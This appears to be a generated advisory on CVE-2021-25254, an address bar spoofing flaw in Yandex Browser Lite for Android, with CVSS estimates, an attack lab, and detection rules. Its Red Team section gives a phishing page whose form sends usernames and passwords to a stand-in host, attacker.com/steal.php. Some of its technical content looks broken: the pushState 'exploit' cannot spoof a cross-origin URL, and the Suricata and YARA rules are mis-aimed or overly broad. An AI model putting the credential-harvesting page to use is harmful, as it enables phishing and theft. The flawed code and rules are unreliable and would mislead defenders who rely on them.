CVE-2021-25254

Executive Summary

CVE-2021-25254 is a security vulnerability in Yandex Browser Lite for Android, a lightweight mobile browser. The flaw allows a remote attacker to spoof the address bar, potentially tricking users into believing they are on a legitimate website when they are actually on a malicious one. This type of spoofing can be used in phishing attacks to steal credentials or other sensitive information. The vulnerability affects versions prior to 21.1.0. No public proof-of-concept (PoC) or exploit code has been identified at this time.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary Android application (Yandex Browser Lite). Therefore, supply chain package security analysis is not applicable.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned. Based on the nature of the vulnerability (address bar spoofing), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The attacker can exploit this remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The user must visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerable component is the browser itself.
• Confidentiality (C): High (H) – Successful exploitation can lead to credential theft.
• Integrity (I): High (H) – The attacker can manipulate what the user sees.
• Availability (A): None (N) – No impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N Estimated Base Score: 8.1 (High)

Threat Level: High. The vulnerability is easy to exploit remotely with low complexity and can lead to significant data theft via phishing.

Deep Dive & Mechanics

The vulnerability lies in how Yandex Browser Lite for Android renders and displays the URL in the address bar. A remote attacker can craft a malicious webpage that, when visited, manipulates the browser's UI to display a fake URL in the address bar. This is a classic UI redressing or address bar spoofing attack.

Mechanism:

1. The attacker hosts a malicious webpage that mimics a legitimate login page (e.g., a bank or email provider).
2. The webpage contains JavaScript or HTML that exploits the browser's rendering engine to change the displayed URL in the address bar.
3. When a user visits the malicious page, the address bar shows the spoofed URL (e.g., https://www.legitimate-bank.com), while the actual content is controlled by the attacker.
4. The user, believing they are on the legitimate site, may enter sensitive information (credentials, credit card numbers), which is then sent to the attacker.

The root cause is likely a flaw in how the browser handles navigation events or URL updates, allowing the attacker to override the displayed URL without a corresponding navigation.

Vulnerable vs. Patched Code

Since this is a proprietary application, no source code is publicly available. However, the fix in version 21.1.0 likely involves:

• Vulnerable (pre-21.1.0): The browser's address bar update logic could be triggered or overridden by malicious JavaScript, allowing the displayed URL to be changed without a real navigation.
• Patched (21.1.0+): The browser now validates that the displayed URL matches the actual origin of the page content. Any attempt to spoof the address bar is blocked, and the real URL is always shown.

Exploitation & Lab Setup

No public exploit code is available for CVE-2021-25254. The following is a theoretical lab setup for testing.

Red Team (Attack Simulation)

1. Setup:
   • Attacker machine: Kali Linux with a web server (Apache/Nginx).
   • Target: Android device with Yandex Browser Lite < 21.1.0.
2. Crafting the Malicious Page:
   • Create an HTML page that mimics a login form.
   • Use JavaScript to attempt to manipulate the address bar (e.g., using window.location or history.pushState).
   • Example (theoretical):

     <!DOCTYPE html>
     <html>
     <head>
         <title>Login</title>
         <script>
             // Attempt to spoof the address bar
             window.history.pushState({}, '', 'https://www.legitimate-bank.com');
         </script>
     </head>
     <body>
         <form action="https://attacker.com/steal.php" method="POST">
             <input type="text" name="username" placeholder="Username">
             <input type="password" name="password" placeholder="Password">
             <input type="submit" value="Login">
         </form>
     </body>
     </html>
     

3. Execution:
   • Host the page on the attacker's server.
   • Send a phishing link to the victim (e.g., via SMS or email).
   • When the victim visits the link, the address bar shows the spoofed URL.

Blue Team (Detection & Defense)

1. User Awareness: Train users to verify the URL by interacting with the page (e.g., clicking a link) and checking the address bar again.
2. Browser Updates: Ensure all devices have Yandex Browser Lite updated to version 21.1.0 or later.
3. Network Monitoring: Monitor for connections to known phishing domains or suspicious IPs.
4. Endpoint Detection: Use mobile device management (MDM) to enforce browser updates.

Indicators of Compromise (IOCs)

• Network:
  • Connections to domains that mimic legitimate sites (e.g., legitimate-bank.com vs legitimate-bankn.com).
  • Suspicious SSL certificates for spoofed domains.
• Host:
  • Yandex Browser Lite version < 21.1.0.
  • Presence of phishing pages in browser cache.
• Behavioral:
  • Users reporting unexpected login prompts or address bar behavior.

Detection Engineering

YARA Rule

rule CVE_2021_25254_Yandex_Browser_Lite_Spoof {
    meta:
        description = "Detects potential address bar spoofing attempts targeting Yandex Browser Lite"
        author = "Valters IT"
        date = "2023-10-27"
        reference = "CVE-2021-25254"
    strings:
        $s1 = "history.pushState" nocase
        $s2 = "window.location" nocase
        $s3 = "address bar" nocase
    condition:
        any of ($s1, $s2, $s3)
}

Sigma Rule

title: Yandex Browser Lite Address Bar Spoofing Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2021-25254 via malicious JavaScript
author: Valters IT
logsource:
    category: proxy
    product: web
detection:
    selection:
        http.user_agent|contains: "YandexBrowserLite"
        http.response_body|contains: "history.pushState"
    condition: selection
falsepositives:
    - Legitimate use of pushState by web applications
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2021-25254 Yandex Browser Lite Address Bar Spoofing"; flow:to_server,established; content:"YandexBrowserLite"; http_user_agent; content:"history.pushState"; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action:
   • Update Yandex Browser Lite for Android to version 21.1.0 or later.
   • If update is not possible, consider using an alternative browser until the update is applied.
2. Long-term Mitigation:
   • Implement mobile device management (MDM) policies to enforce browser updates.
   • Educate users on phishing risks and how to verify website authenticity.
   • Monitor for suspicious network traffic and browser behavior.
3. Vendor Communication:
   • Yandex has released a patch in version 21.1.0. Ensure all devices are updated.

Valters IT
DevSecOps & Cyber Threat Intelligence